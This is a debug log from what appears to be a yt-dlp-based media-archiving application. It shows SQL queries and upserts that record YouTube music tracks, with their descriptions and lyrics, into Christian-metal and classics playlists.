db=389.8ms idle=0.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nSorry · Stryper\n\nGod Damn Evil\n\n℗ 2018 Frontiers Records\n\nReleased on: 2018-04-20\n\nAuto-generated by YouTube.", "Sorry", "a208aa14-3922-480c-aa90-8be69436051f", false, "dfwMShnhm9c", 236, false, "https://www.youtube.com/watch?v=dfwMShnhm9c", 13, "/downloads/ChristianMetal/ChristianMetal/2018-04-19Sorry[dfwMShnhm9c].NA", false, false, 5, [], 1, ~U[2018-04-19 11:15:10Z], ~U[2026-07-24 02:20:29Z], ~U[2026-07-24 02:20:29Z], "Provided to YouTube by The Orchard Enterprises\n\nSorry · Stryper\n\nGod Damn Evil\n\n℗ 2018 Frontiers Records\n\nReleased on: 2018-04-20\n\nAuto-generated by YouTube.", "Sorry", "dfwMShnhm9c", 236, false, "https://www.youtube.com/watch?v=dfwMShnhm9c", "/downloads/ChristianMetal/ChristianMetal/2018-04-19Sorry[dfwMShnhm9c].NA", false, 5, ~U[2018-04-19 11:15:10Z]] 22:20:30.104 [debug] QUERY OK source="sources" db=0.2ms idle=209.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:30.104 [debug] QUERY OK source="media_items" db=0.1ms idle=0.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-03-22 10:02:28Z], 5] 22:20:30.244 [debug] QUERY OK source="media_items" db=139.4ms idle=0.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by Rise Records\n\nWelcome Home · blessthefall\n\nHard Feelings\n\n℗ 2018 Rise Records\n\nVocals: Beau Bokan\nGuitar: Elliott Gruenberg\nGuitar: Eric Lambert\nBass: Jared Warth\nDrums: Matt Traynor\nComposer: blessthefall\n\nAuto-generated by YouTube.", "Welcome Home", "88ffdc78-7c49-4845-a8b8-72e98ee14123", false, "XchkPl1ASEk", 222, false, "https://www.youtube.com/watch?v=XchkPl1ASEk", 14, "/downloads/ChristianMetal/ChristianMetal/2018-03-22Welcome Home[XchkPl1ASEk].NA", false, false, 5, [], 1, ~U[2018-03-22 10:02:28Z], ~U[2026-07-24 02:20:30Z], ~U[2026-07-24 02:20:30Z], "Provided to YouTube by Rise Records\n\nWelcome Home · blessthefall\n\nHard Feelings\n\n℗ 2018 Rise Records\n\nVocals: Beau Bokan\nGuitar: Elliott Gruenberg\nGuitar: Eric Lambert\nBass: Jared Warth\nDrums: Matt Traynor\nComposer: blessthefall\n\nAuto-generated by YouTube.", "Welcome Home", "XchkPl1ASEk", 222, false, "https://www.youtube.com/watch?v=XchkPl1ASEk", "/downloads/ChristianMetal/ChristianMetal/2018-03-22Welcome Home[XchkPl1ASEk].NA", false, 5, ~U[2018-03-22 10:02:28Z]] 22:20:30.245 [debug] QUERY OK source="sources" db=0.3ms idle=0.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:30.245 [debug] QUERY OK source="media_items" db=0.1ms idle=0.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2017-01-25 22:27:20Z], 5] 22:20:30.344 [debug] QUERY OK source="sources" db=450.2ms queue=0.1ms idle=179.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:30.345 [debug] QUERY OK source="media_metadata" db=450.3ms idle=25.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [202] 22:20:30.345 [debug] QUERY OK source="settings" db=630.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:30.346 [debug] QUERY OK source="media_items" db=0.9ms queue=0.2ms idle=0.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2012-12-06 04:19:48Z], 2] 22:20:30.471 [debug] QUERY OK source="media_profiles" db=125.9ms queue=0.2ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:30.472 [debug] QUERY OK source="media_items" db=127.1ms queue=82.8ms idle=16.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nUndying · Demon Hunter\n\nThe Triptych\n\n℗ 2005 Solid State Records\n\nReleased on: 2013-06-01\n\nMusic Publisher: Beep I'm Gone, Beep I'm Back\nMusic Publisher: Spinning Audio Vortex\n\nAuto-generated by YouTube.", "Undying", "2fcc1fc2-c891-40a0-8886-d0c949830da7", false, "8huYQbPK9pI", 259, false, "https://www.youtube.com/watch?v=8huYQbPK9pI", 15, "/downloads/ChristianMetal/ChristianMetal/2017-01-25Undying[8huYQbPK9pI].NA", false, false, 5, [], 5, ~U[2017-01-25 22:27:20Z], ~U[2026-07-24 02:20:30Z], ~U[2026-07-24 02:20:30Z], "Provided to YouTube by The Orchard Enterprises\n\nUndying · Demon Hunter\n\nThe Triptych\n\n℗ 2005 Solid State Records\n\nReleased on: 2013-06-01\n\nMusic Publisher: Beep I'm Gone, Beep I'm Back\nMusic Publisher: Spinning Audio Vortex\n\nAuto-generated by YouTube.", "Undying", "8huYQbPK9pI", 259, false, "https://www.youtube.com/watch?v=8huYQbPK9pI", "/downloads/ChristianMetal/ChristianMetal/2017-01-25Undying[8huYQbPK9pI].NA", false, 5, ~U[2017-01-25 22:27:20Z]] 22:20:30.472 [debug] Running yt-dlp command for action: get_downloadable_status 22:20:30.473 [debug] QUERY OK source="settings" db=0.4ms idle=126.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:30.473 [debug] QUERY OK source="sources" db=0.6ms idle=126.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:30.473 [debug] Running yt-dlp command for action: get_downloadable_status 22:20:30.641 [debug] QUERY OK source="media_items" db=169.3ms queue=0.1ms idle=126.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Classic song from the Rankin-Bass Return of the King. All credit to them, none to me.", "Where There's a Whip There's a Way!", "780fa4fc-6b1c-4751-8038-6309a8436ec8", false, "VoAfb3f04mo", 97, false, "https://www.youtube.com/watch?v=VoAfb3f04mo", 3, "/downloads/Classics/Classics/2012-12-06Where There's a Whip There's a Way![VoAfb3f04mo].m4a", false, false, 2, [], 1, ~U[2012-12-06 04:19:48Z], ~U[2026-07-24 02:20:30Z], ~U[2026-07-24 02:20:30Z], "Classic song from the Rankin-Bass Return of the King. All credit to them, none to me.", "Where There's a Whip There's a Way!", "VoAfb3f04mo", 97, false, "https://www.youtube.com/watch?v=VoAfb3f04mo", "/downloads/Classics/Classics/2012-12-06Where There's a Whip There's a Way![VoAfb3f04mo].m4a", false, 2, ~U[2012-12-06 04:19:48Z]] 22:20:30.642 [debug] QUERY OK source="sources" db=0.5ms idle=168.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:30.643 [debug] QUERY OK source="media_items" db=0.3ms idle=1.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-07 13:00:05Z], 2] 22:20:30.836 [debug] QUERY OK source="media_items" db=191.8ms idle=1.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Johnny Horton's song Sink the Bismarck is a dramatic historical ballad recounting the hunt for the German battleship Bismarck during World War II. \n\nTold in Johnny Horton's signature storytelling style, Sink The Bismarck follows the tense naval pursuit across the Atlantic, building suspense as Allied forces race to stop one of Germany's most powerful warships.\n\nDriven by a marching rhythm and vivid lyrics, Sink The Bismarck combines history and entertainment, turning a major wartime event into an engaging narrative. Like many of Johnny Horton's best known recordings, it reflects his talent for bringing historical stories to life through memorable melodies and believable storytelling.\n\n📝 Johnny Horton Sink The Bismarck Lyrics:\n\nIn May of nineteen forty-one the war had just begun\nThe Germans had the biggest ship, they had the biggest guns\nThe Bismarck was the fastest ship that ever sailed the sea\nOn her deck were guns as big as steers and shells as big as trees\n\nOut of the cold and foggy night came the British ship, the Hood\nAnd every British seaman, he knew and understood\nThey had to sink the Bismarck, the terror of the sea\nStop those guns as big as steers and those shells as big as trees\n\nWe'll find the German battleship that's makin' such a fuss\nWe gotta sink the Bismarck cause the world depends on us\nHit the decks a-runnin' boys and spin those guns around\nWhen we find the Bismarck we gotta cut her down\n\nThe Hood found the Bismarck on that fatal day\nThe Bismarck started firin' fifteen miles away\n\"We gotta sink the Bismarck\" was the battle sound\nBut when the smoke had cleared away, the mighty Hood went down\n\nFor six long days and weary nights they tried to find her trail\nChurchill told the people \"put every ship a-sail\n'Cause somewhere on that ocean I know she's gotta be\nWe gotta sink the Bismarck to the bottom of the sea\"\n\nWe'll find that German battleship that's makin' such a fuss\nWe gotta sink the Bismarck 'cause the world depends on us\nHit the decks a-runnin' boys and spin those guns around\nWhen we find the Bismarck we gotta cut her down\n\nThe fog was gone the seventh day and they saw the mornin' sun\nTen hours away from homeland the Bismarck made its run\nThe admiral of the British fleet said \"turn those bows around\nWe found that German battleship and we're gonna cut her down\"\n\nThe British guns were aimed and the shells were comin' fast\nThe first shell hit the Bismarck, they knew she couldn't last\nThat mighty German battleship is just a memory\n\"Sink the Bismarck\" was the battle cry that shook the seven seas\n\nWe found that German battleship been makin' such a fuss\nWe had to sink the Bismarck 'cause the world depends on us\nWe hit the deck a-runnin' and we spun those guns around\nYeah, we found the mighty Bismarck and prepared to cut her down\n\nWe found that German battleship been makin' such a fuss\nWe had to sink the Bismarck 'cause the world depends on us\nWe hit the deck a-runnin' and we spun those guns around\nWe found the mighty Bismarck and then we cut her down\n\n👇 Follow Johnny Horton on his official music streaming sites:\nhttps://www.youtube.com/@JohnnyHortonVEVO\nhttps://www.youtube.com/channel/UC148jhTSenkCKNLD5hXHFqQ\nhttps://open.spotify.com/artist/1bBZcz4jP7CoPlqpCFh4gz\nhttps://music.apple.com/us/artist/johnny-horton/462172\n\n🎵 Enjoy more music from Cornerstone Recordings:\nThe Osborne Brothers - Rocky Top https://youtu.be/mJNU7YqTBks\nLeroy Van Dyke - The Auctioneer https://youtu.be/9B2yOM9iaoQ\nFlatt & Scruggs - Cripple Creek https://youtu.be/_4jj1BBRmPQ\nEdward Gamblin - Lovely in White https://youtu.be/Ql2bIDN34SA\nDoc Watson - Deep River Blues https://youtu.be/MrfYhgEcGRQ\n\n🎧 Listen to more of the best Folk Music Classics: https://www.youtube.com/playlist?list=PLg_WiZoJyyD1_h9wDX5ZAhdAYL8_rwJim\n\n🛎 Subscribe to Cornerstone Recordings for more: https://www.youtube.com/@cornerstonerecordingsofficial?sub_confirmation=1\n\n#JohnnyHorton #SinkTheBismarck #PatrioticMusic #MilitaryMusic #MilitarySongs #CornerstoneRecordings", "Johnny Horton - Sink The Bismarck", "66b2bbc6-295a-48e9-a0b1-942f6bde6241", false, "Mdpc5FmrjSc", 195, false, "https://www.youtube.com/watch?v=Mdpc5FmrjSc", 4, "/downloads/Classics/Classics/2026-06-07Johnny Horton - Sink The Bismarck[Mdpc5FmrjSc].m4a", false, false, 2, [], 1, ~U[2026-06-07 13:00:05Z], ~U[2026-07-24 02:20:30Z], ~U[2026-07-24 02:20:30Z], "Johnny Horton's song Sink the Bismarck is a dramatic historical ballad recounting the hunt for the German battleship Bismarck during World War II. \n\nTold in Johnny Horton's signature storytelling style, Sink The Bismarck follows the tense naval pursuit across the Atlantic, building suspense as Allied forces race to stop one of Germany's most powerful warships.\n\nDriven by a marching rhythm and vivid lyrics, Sink The Bismarck combines history and entertainment, turning a major wartime event into an engaging narrative. Like many of Johnny Horton's best known recordings, it reflects his talent for bringing historical stories to life through memorable melodies and believable storytelling.\n\n📝 Johnny Horton Sink The Bismarck Lyrics:\n\nIn May of nineteen forty-one the war had just begun\nThe Germans had the biggest ship, they had the biggest guns\nThe Bismarck was the fastest ship that ever sailed the sea\nOn her deck were guns as big as steers and shells as big as trees\n\nOut of the cold and foggy night came the British ship, the Hood\nAnd every British seaman, he knew and understood\nThey had to sink the Bismarck, the terror of the sea\nStop those guns as big as steers and those shells as big as trees\n\nWe'll find the German battleship that's makin' such a fuss\nWe gotta sink the Bismarck cause the world depends on us\nHit the decks a-runnin' boys and spin those guns around\nWhen we find the Bismarck we gotta cut her down\n\nThe Hood found the Bismarck on that fatal day\nThe Bismarck started firin' fifteen miles away\n\"We gotta sink the Bismarck\" was the battle sound\nBut when the smoke had cleared away, the mighty Hood went down\n\nFor six long days and weary nights they tried to find her trail\nChurchill told the people \"put every ship a-sail\n'Cause somewhere on that ocean I know she's gotta be\nWe gotta sink the Bismarck to the bottom of the sea\"\n\nWe'll find that German battleship that's makin' such a fuss\nWe gotta sink the Bismarck 'cause the world depends on us\nHit the decks a-runnin' boys and spin those guns around\nWhen we find the Bismarck we gotta cut her down\n\nThe fog was gone the seventh day and they saw the mornin' sun\nTen hours away from homeland the Bismarck made its run\nThe admiral of the British fleet said \"turn those bows around\nWe found that German battleship and we're gonna cut her down\"\n\nThe British guns were aimed and the shells were comin' fast\nThe first shell hit the Bismarck, they knew she couldn't last\nThat mighty German battleship is just a memory\n\"Sink the Bismarck\" was the battle cry that shook the seven seas\n\nWe found that German battleship been makin' such a fuss\nWe had to sink the Bismarck 'cause the world depends on us\nWe hit the deck a-runnin' and we spun those guns around\nYeah, we found the mighty Bismarck and prepared to cut her down\n\nWe found that German battleship been makin' such a fuss\nWe had to sink the Bism (truncated) 22:20:30.836 [debug] QUERY OK source="sources" db=0.3ms idle=193.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:30.836 [debug] QUERY OK source="media_items" db=0.1ms idle=1.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-09 20:23:16Z], 2] 22:20:31.016 [debug] QUERY OK source="media_items" db=178.5ms idle=0.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["👉Bonnie Tyler - Holding Out For A Hero (Lyrics)\n\n🎵 Follow the official Golden Network playlist on Spotify: https://open.spotify.com/playlist/78TFbUcZBZ8a70kFHK1et9?si=cb29aee6e1ec4cc0\n\n🔔 Hit the Subscribe Button and Turn on notifications to stay updated with new uploads!\n\n🎤 Song Lyrics : Bonnie Tyler - Holding Out For A Hero (Lyrics)\n\nLyrics : \n\n[Intro]\nDo-do, do-do\nDo-do, do-do\nDo-do, do-do\nAh, ah\n\n[Verse 1]\nWhere have all the good men gone and where are all the gods?\nWhere's the streetwise Hercules to fight the risin' odds?\nIsn't there a white knight upon a fiery steed?\nLate at night, I toss and I turn and I dream of what I need\n\n[Chorus]\nI need a hero\nI'm holding out for a hero till the end of the night\nHe's gotta be strong and he's gotta be fast\nAnd he's gotta be fresh from the fight\nI need a hero (Hero)\nI'm holding out for a hero till the morning light (Hero till the morning light)\nHe's gotta be sure and it's gotta be soon\nAnd he's gotta be larger than life, larger than life\n\n[Post-Chorus]\nDo-do, do-do\nDo-do, do-do\nDo-do, do-do\nAh, ah\n\n[Verse 2]\nSomewhere after midnight in my wildest fantasy\nSomewhere just beyond my reach, there's someone reaching back for me\nRacing on the thunder and rising with the heat\nIt's gonna take a Superman to sweep me off my feet, yeah\n\n[Chorus]\nI need a hero\nI'm holding out for a hero till the end of the night\nHe's gotta be strong and he's gotta be fast\nAnd he's gotta be fresh from the fight\nI need a hero (Hero)\nI'm holding out for a hero till the morning light (Hero till the morning light)\nHe's gotta be sure and it's gotta be soon\nAnd he's gotta be larger than life\nI need a hero\nI'm holding out for a hero till the end of the night\n\n[Instrumental Break]\n\n[Bridge]\nUp where the mountains meet the heavens above\nOut where the lightning splits the sea\nI could swear there is someone somewhere watching me\nThrough the wind and the chill and the rain\nAnd the storm and the flood\nI can feel his approach like a fire in my blood\n(Like a fire in my blood, like a fire in my blood)\n(Like a fire in my blood, like a fire in my blood, blood)\n\n[Chorus]\nI need a hero (Hero)\nI'm holding out for a hero till the end of the night\nHe's gotta be strong and he's gotta be fast\nAnd he's gotta be fresh from the fight\nI need a hero (Hero)\nI'm holding out for a hero till the morning light (Hero till the morning light)\nHe's gotta be sure and it's gotta be soon\nAnd he's gotta be larger than life\nI need a hero (Hero)\nI'm holding out for a hero till the end of the night\nHe's gotta be strong and he's gotta be fast\nAnd he's gotta be fresh from the fight\nI need a hero (Hero)\nI'm holding out for a hero till the morning light (Hero till the morning light)\nHe's gotta be sure and it's gotta be soon\nAnd he's gotta be larger than life\nI need a hero\nI'm holding out for a hero till the end of the night\n\n[Instrumental Outro]\n\nGolden Network is a music brand on YouTube that curates pop, dance, new music, the most trending songs on TikTok and old and new music hits and some rap, hiphop and rnb songs as well.", "Bonnie Tyler - Holding Out For A Hero (Lyrics)", "5aff305f-54bb-4715-833a-ffcba4a90806", false, "LruIRarMlng", 341, false, "https://www.youtube.com/watch?v=LruIRarMlng", 5, "/downloads/Classics/Classics/2026-06-09Bonnie Tyler - Holding Out For A Hero (Lyrics)[LruIRarMlng].m4a", false, false, 2, [], 1, ~U[2026-06-09 20:23:16Z], ~U[2026-07-24 02:20:30Z], ~U[2026-07-24 02:20:30Z], "👉Bonnie Tyler - Holding Out For A Hero (Lyrics)\n\n🎵 Follow the official Golden Network playlist on Spotify: https://open.spotify.com/playlist/78TFbUcZBZ8a70kFHK1et9?si=cb29aee6e1ec4cc0\n\n🔔 Hit the Subscribe Button and Turn on notifications to stay updated with new uploads!\n\n🎤 Song Lyrics : Bonnie Tyler - Holding Out For A Hero (Lyrics)\n\nLyrics : \n\n[Intro]\nDo-do, do-do\nDo-do, do-do\nDo-do, do-do\nAh, ah\n\n[Verse 1]\nWhere have all the good men gone and where are all the gods?\nWhere's the streetwise Hercules to fight the risin' odds?\nIsn't there a white knight upon a fiery steed?\nLate at night, I toss and I turn and I dream of what I need\n\n[Chorus]\nI need a hero\nI'm holding out for a hero till the end of the night\nHe's gotta be strong and he's gotta be fast\nAnd he's gotta be fresh from the fight\nI need a hero (Hero)\nI'm holding out for a hero till the morning light (Hero till the morning light)\nHe's gotta be sure and it's gotta be soon\nAnd he's gotta be larger than life, larger than life\n\n[Post-Chorus]\nDo-do, do-do\nDo-do, do-do\nDo-do, do-do\nAh, ah\n\n[Verse 2]\nSomewhere after midnight in my wildest fantasy\nSomewhere just beyond my reach, there's someone reaching back for me\nRacing on the thunder and rising with the heat\nIt's gonna take a Superman to sweep me off my feet, yeah\n\n[Chorus]\nI need a hero\nI'm holding out for a hero till the end of the night\nHe's gotta be strong and he's gotta be fast\nAnd he's gotta be fresh from the fight\nI need a hero (Hero)\nI'm holding out for a hero till the morning light (Hero till the morning light)\nHe's gotta be sure and it's gotta be soon\nAnd he's gotta be larger than life\nI need a hero\nI'm holding out for a hero till the end of the night\n\n[Instrumental Break]\n\n[Bridge]\nUp where the mountains meet the heavens above\nOut where the lightning splits the sea\nI could swear there is someone somewhere watching me\nThrough the wind and the chill and the rain\nAnd the storm and the flood\nI can feel his approach like a fire in my blood\n(Like a fire in my blood, like a fire in my blood)\n(Like a fire in my blood, like a fire in my blood, blood)\n\n[Chorus]\nI need a hero (Hero)\nI'm holding out for a hero till the end of the night\nHe's gotta be strong and he's gotta be fast\nAnd he's gotta be fresh from the fight\nI need a hero (Hero)\nI'm holding out for a hero till the morning light (Hero till the morning light)\nHe's gotta be sure and it's gotta be soon\nAnd he's gotta be larger than life\nI need a hero (Hero)\nI'm holding out for a hero till the end of the night\nHe's gotta be strong and he's gotta be fast\nAnd he's gotta be fresh from the fight\nI need a hero (Hero)\nI'm holding out for a hero till the morning light (Hero till the morning light)\nHe's gotta be sure and it's gotta be soon\nAnd he's gotta be larger than life\nI need a hero\nI'm holding out for a hero till the end of the night\n\n[Instrumental Outro]\n\nGolden Network is a music brand on YouTube that curates pop, dance, new music, the most trending songs on TikTok and old and new music hits and some rap, hiphop and rnb songs as well.", "Bonnie Tyler - Holding Out For A Hero (Lyrics)", "LruIRarMlng", 341, false, "https://www.youtube.com/watch?v=LruIRarMlng", "/downloads/Classics/Classics/2026-06-09Bonnie Tyler - Holding Out For A Hero (Lyrics)[LruIRarMlng].m4a", false, 2, ~U[2026-06-09 20:23:16Z]] 22:20:31.016 [debug] QUERY OK source="sources" db=0.2ms idle=179.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:31.017 [debug] QUERY OK source="media_items" db=0.1ms idle=1.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2009-10-25 21:05:50Z], 2] 22:20:31.206 [debug] QUERY OK source="media_items" db=189.1ms idle=0.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" 